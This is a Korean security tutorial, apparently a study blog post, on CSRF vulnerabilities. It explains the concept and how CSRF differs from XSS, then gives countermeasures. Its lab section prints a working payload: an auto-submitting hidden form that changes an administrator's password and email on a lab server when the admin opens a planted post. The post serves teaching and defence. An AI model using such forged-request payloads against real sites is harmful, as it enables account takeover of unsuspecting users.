Season 1/기술 보안

CSRF(Cross-site request forgery) 취약점

작성자 - 호롤로롤

CSRF(Cross-site request forgery)란?

서버가 실제 서비스 페이지를 통한 정상요청인지 확인하지 않고 처리하는 경우 악의적인 스크립트를 이용하여 다른 사용자의 권한으로 게시판 자동 글쓰기, 자동 회원가입, 중요기능 실행 등의 공격을 할 수 있는 취약점


XSS와 CSRF의 차이점

  XSS CSRF
공격대상 Client Server
목적 스크립트 실행이 목적 특정 행동을 유도
공격방법 인증된 세션 없이 공격
ex)악성코드 사이트로 리다이렉트,
인증(로그인)없이 피해를 입힐 수 있음
인증된 세션을 악용하여 공격
ex)반드시 인증된 사용자를 공격

CSRF 공격 과정

1.공격자가 게시글 또는 파일을 통해 공격 코드를 웹서버에 등록

2.사용자(희생자)가 게시글 또는 파일 열람을 통해 웹서버에 요청

3.공격자가 의도한 코드대로 서비스가 수행


실습

 

1.공격자는 관리자의 비밀번호를 수정하기 위한 코드를 위해 본인의 회원정보 수정란의 파라미터를 확인한다.

 

2.수정시 사용되는 파라미터를 확인하여 코드를 작성

<iframe name="ifr"></iframe>
<form target="ifr" name = "frm" method="post"
action="http://192.168.35.173/login/members_modify_ok.asp" enctype="multipart/form-data">
<input type="hidden" name="re_url" value="">
<input type="hidden" name="mem_pwd" value="123">
<input type="hidden" name="mem_email" value="hacker@hacker.com">
<input type="hidden" name="tel1" value="010">
<input type="hidden" name="tel2" value="444">
<input type="hidden" name="tel3" value="4444">
<input type="hidden" name="hp1" value="011">
<input type="hidden" name="hp2" value="444">
<input type="hidden" name="hp3" value="4444">
<input type="hidden" name="zip1" value="135">
<input type="hidden" name="zip2" value="838">
<input type="hidden" name="addr1" value="test">
<input type="hidden" name="addr1" value="test">
<input type="submit">
</form>

<script>
document.frm.submit();
</script>

 

3.작성된 코드를 게시글 작성에 활용

 

4.관리자는 자신을 찾는 게시물을 클릭

 

5.반응이 없지만 이미 패스워드는 변경이 된 상태

 

6.관리자가 다시 로그인할때 패스워드가 수정됨을 확인

 


해결방안

1.사용자가 요청한 내용이 위조된 요청인지 여부를 사용자 접근권한 정보가 포함된 토큰을 이용하여 세션정보에 포함된 토큰값과 요청에 포함된 토큰값의 비교를 통해 확인

 

2.CAPCHA를 이용하여 추가적인 인증

 

3.사용자의 회원탈퇴, 정보수정에 비밀번호를 한번 더 요청

Contents

이 글이 도움이 되었다면, 응원의 댓글 부탁드립니다.